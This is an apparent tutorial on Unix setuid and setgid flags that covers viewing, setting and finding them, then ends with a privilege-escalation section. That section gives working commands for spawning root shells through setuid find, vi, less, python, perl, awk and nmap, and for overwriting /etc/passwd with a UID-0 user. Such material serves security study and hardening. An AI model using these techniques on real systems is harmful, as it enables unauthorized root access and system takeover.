Privilege Escalation via setuid
- What is
setuid? - What is
setgid? - How can we view permissions / flags for a particular file?
- How can we change
setuidorsetguidflags for a particular file? - How can we find files with particular permissions / flags?
- Why doesn't setuid work on shell scripts?
- Why doesn't setuid work on files in /dev/shm (or other some filesystems)?
-
How can we exploit
setuidexecutables to gain full root privileges?
What is setuid?
Setuid is a special Unix file flag that allows an executable to be run with the permissions of the file owner (rather than the current user). It is often used to allow normal users to perform certain tasks that would otherwise require root access.
Examples:
sudoneeds to execute files asroot(or an arbitrary user)suneeds to be able to switch to an arbitrary userpasswdneeds to modifyrootowned/etc/passwdchshneeds to modifyrootowned/etc/passwdmountneeds to be able mount filesystems for non-root users (only allowed whenusermount option is set)
setuid generally has no effect on non-executables or directories (exception: freeBSD).
What is setgid?
setgid is the same concept as setuid but applied to groups - it allows an executable file to be run with the permissions of the file group owner.
setgid can also be applied to directories, which causes newly created subdirectories and files contained inside it to inherit its group owner ID.
How can we view permissions / flags for a particular file?
The -l option (long listing format) of the ls command will display file permissions.
$ ls -l myfile
-rwsr-sr-x 1 root root 122 Mar 22 21:25 myfilesetuid is indicated by the first s and setgid is indicated by the second s. Also note that the file owner is root which means this executable will be executed with root permissions.
The stat command can also displays file permissions.
$ stat myfile
File: myfile
Size: 122 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 933052 Links: 1
Access: (6755/-rwsr-sr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2020-03-22 21:25:40.656002928 +0900
Modify: 2020-03-22 21:25:40.656002928 +0900
Change: 2020-03-22 21:26:28.980003379 +0900
Birth: -How can we change setuid or setguid flags for a particular file?
We can use the chmod (change file mode bits) command. When using octal mode format, setuid and setgid are encoded in the first digit as '4' and '2', respectively (or '6' for both).
Updating setuid:
$ chmod u+s myfile # set bit
$ chmod u-s myfile # clear bit
$ chmod 4755 myfile # set using octal mode (-rwsr-x-r-x)Updating setgid:
$ chmod g+s myfile # set bit
$ chmod g-s myfile # clear bit
$ chmod 2755 myfile # set using octal mode (-rwxr-s-r-x)Updating both at the same time:
$ chmod +s myfile # set bits
$ chmod -s myfile # clear bits
$ chmod 6755 myfile # set using octal mode (-rwsr-s-r-x)How can we find files with particular permissions / flags?
We can use the find command to find files that match particular permissions.
$ find / -xdev -user root -type f -perm -u+s -ls 2>/dev/null/start at root directory-xdevdon't descend into directories in other filesystems-user rootfind files owned by root-type fonly find files (not directories)-perm -u+sfind files withsetuidset-lsrunlson each result, equivalent to-exec ls -dils {} \;2>/dev/nullredirect errors to nowhere (i.e. hide them)
We can use a similar command for finding setgid files:
$ find / -xdev -user root -type f -perm -g+s -ls 2>/dev/nullWhy doesn't setuid work on shell scripts?
This is disabled in Linux for security reasons that would otherwise make it very easy to achieve privilege escalation / command execution. setuid only works on binary executable files.
Why doesn't setuid work on files in /dev/shm (or other some filesystems)?
It is possible to disable setuid for an entire filesystem by using the nosuid option when mounting. This is often used for untrusted/temporary filesystems to make it more difficult for malicious activity.
We can check mount options with the mount command.
$ mount
...
/dev/sda1 on / type ext4 (rw,noatime,errors=remount-ro)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
.../dev/shm (shared memory) is a world-writable temporary storage area backed by RAM (i.e. contents will be lost after restart).
How can we exploit setuid executables to gain full root privileges?
setuid on system and non-system executables can often lead to full root privileges in ways that are not always immediately obvious.
find
find allows us to execute a command for each result.
$ touch /tmp/file # create a file to limit to single result
$ find /tmp/file -exec /bin/sh \;vi
We can open a shell from vi.
$ vi
:shellWe can also edit system files to give us more permissions (works with any setuid text editor).
$ vi /etc/sudoersless, more
We can open a shell from less or more.
$ less /tmp/file
!python, perl
Most programming languages provide a way to execute arbitrary system commands.
$ python -c "import os; os.system('/bin/sh')"$ perl -e "system('/bin/sh')"awk
We can execute arbitrary system commands with awk.
$ awk 'BEGIN {system("/bin/sh")}'cp, mv
We can use cp or mv to replace system files with modified ones. For example, we can replace /etc/passwd with our own version that contains a user with the same user ID / group ID as root.
Generate password hash using openssl:
$ openssl passwd -6 -salt salt password
$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.Add a new user with same root user ID (or change existing user).
$ cat /etc/passwd > /tmp/passwd
$ echo "rootclone:$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.:0:0:root:/root:/bin/bash" >> /tmp/passwdOverwrite /etc/passwd with our version.
$ cp /tmp/passwd /etc/passwdnmap
Older versions of nmap (2.02 to 5.21) had an interactive mode.
$ nmap --interactive
!shWe can also create a NSE file (nmap custom script) that opens a shell.
$ echo "os.execute('/bin/sh')" > shell.nse
$ nmap --script=shell.nse